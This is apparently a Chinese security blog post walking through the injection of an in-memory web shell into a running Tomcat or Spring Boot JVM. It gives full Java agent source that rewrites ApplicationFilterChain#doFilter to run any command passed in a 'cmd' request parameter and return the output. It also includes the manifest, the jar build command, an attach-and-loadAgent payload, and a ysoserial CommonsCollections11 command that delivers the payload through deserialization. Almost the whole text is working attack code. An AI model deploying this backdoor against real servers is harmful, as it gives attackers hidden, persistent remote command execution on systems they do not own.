利用java-agent修改jvm中已经加载的类比如(org/apache/catalina/core/ApplicationFilterChain#doFilter)来达到注入内存马的目的
具体点来说就是通过VirtualMachine 类的 attach(pid) 方法,可以连接到一个运行中的 java 进程上之后便可以通过 loadAgent(agentJarPath) 来将恶意agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法,这个方法会遍历所有的已加载类并找到我们需要的类,修改其字节码从而达到注入内存马目的
agent.jar(需要上传到对方服务器)
//AgentMain
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 找到ClassName类,对其重新定义,此时会调用DefineTransformer#transform
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
//DefineTransformer
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//给ApplicationFilterChain#doFilter方法体最前面添加内存马代码
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
//MANIFEST.MF
Manifest-Version: 1.0
Created-By: 1.8.0_332 (Amazon.com Inc.)
Can-Redefine-Classes: true
Can-Retransform-Classes: true
// 设置入口类
Agent-Class: AgentMain
以上三个文件打包为jar
jar cvfm AgentMain.jar MANIFEST.MF AgentMain.class DefineTransformer.class
利用CC11注入agent.jar
//保存为TestAgentMain.java
try{
//设置上传的agent.jar的位置
java.lang.String path = "F:\\javasec-env\\javaAgent\\src\\main\\java\\agent.jar";
//加载tools.jar,这个虽然是jdk内置jar包,但是默认不加载,需要人工导入
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
//加载tools包内的VirtualMachine和VirtualMachineDescriptor用于寻找springboot项目的JVM进程
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
// com.example.CcApplication为我本地springboot项目的入口类
if (name.contains("com.example.CcApplication")){
// 在获取到spring项目的JVM 进程后
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
//连接到对应JVM 进程
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
//将agent.jar注入到该进程中,此时会调用jar包中的agentmain方法,搜索已加载的ApplicationFilter类并修改其doFilter方法
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
// 释放该进程
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
//将TestAgentMain.java添加到cc11上来触发
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
成功注入
大体思路都写在了代码注释里
感谢木头师傅以及Y4er师傅的指点